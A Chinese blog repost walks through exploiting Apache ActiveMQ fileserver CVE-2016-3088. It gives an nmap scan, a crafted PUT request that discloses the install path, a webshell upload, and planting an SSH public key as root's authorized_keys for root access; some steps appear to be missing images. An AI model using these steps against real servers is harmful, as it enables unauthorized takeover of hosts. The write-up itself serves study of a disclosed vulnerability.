Active MQ Fileserver 远程代码执行 (CVE-2016-3088)

ActiveMQ漏洞( CVE-2016-3088)利用拿下root权限主机

前言:

ActiveMQ 是 Apache 软件基金会下的一个开源消息驱动中间件软件。Jetty 是一个开源的 servlet 容器,它为基于 Java 的 web 容器,例如 JSP 和 servlet 提供运行环境。ActiveMQ 5.0 及以后版本默认集成了jetty。在启动后提供一个监控 ActiveMQ 的 Web 应用。

ActiveMQ 的 web 控制台分三个应用,admin、api 和 fileserver,其中 admin 是管理员页面,api 是接口,fileserver 是储存文件的接口;admin 和 api 都需要登录后才能使用,fileserver 无需登录;

fileserver是一个RESTful API接口,我们可以通过GET、PUT、DELETE等HTTP请求对其中存储的文件进行读写操作;

利用方法:写入webshell,好处是门槛低更方便,但fileserver不解析jsp,admin和api两个应用都需要登录才能访问,所以有点鸡肋;写入cron或ssh key,好处是直接反弹拿shell,也比较方便,缺点是需要root权限。

1.扫描目标主机

MacPC:~ liuxin$ nmap -Pn -p8161 -sV 192.168.xx.xx --open

Starting Nmap 6.47 ( http://nmap.org ) at 2016-07-19 11:23 CST
Nmap scan report for 192.168.xx.xx
Host is up (0.054s latency).
PORT     STATE SERVICE VERSION
8161/tcp open  http    Jetty 7.6.7.v20120910


2.爆ActiveMQ路径

PUT /fileserver/a../../%08/..%08/.%08/%08 HTTP/1.1

Host: 192.168.12.89:8161

Content-Length: 13

 

fdsafdsfadfas

返回如下

HTTP/1.1 500 /home/pbcsapp/apache-activemq-5.7.0/webapps/fileserver//.././ (No such file or directory)

Content-Length: 0

Server: Jetty(7.6.7.v20120910)

得到绝对路径

3.上传木马并MOVE到fileserver/目录



浏览器访问木马


发现木马文件上传成功后并不能执行,菜刀和K8一句话都失败。(该目录不能解析JSP)

因此需move到admin或api目录下执行。

 

4.转换思路直接获取目标root权限

4.1 本地使用ssh-keygen生成密钥对(.ssh目录下)

# ssh-keygen -t RSA

4.2 上传id_rsa.pub到服务器,然后移动到/root/.ssh/并重命名为authorized_keys


 

 

 

4.3 远程直接访问目标主机


搞定!

受影响系统:

Apache Group ActiveMQ 5.0.0 - 5.13.2
 
转自:http://www.lofter.com/tag/CVE-2016-3088
 
参考链接:
    

posted on 2017-06-16 14:31  木讷  阅读(564)  评论(0编辑  收藏  举报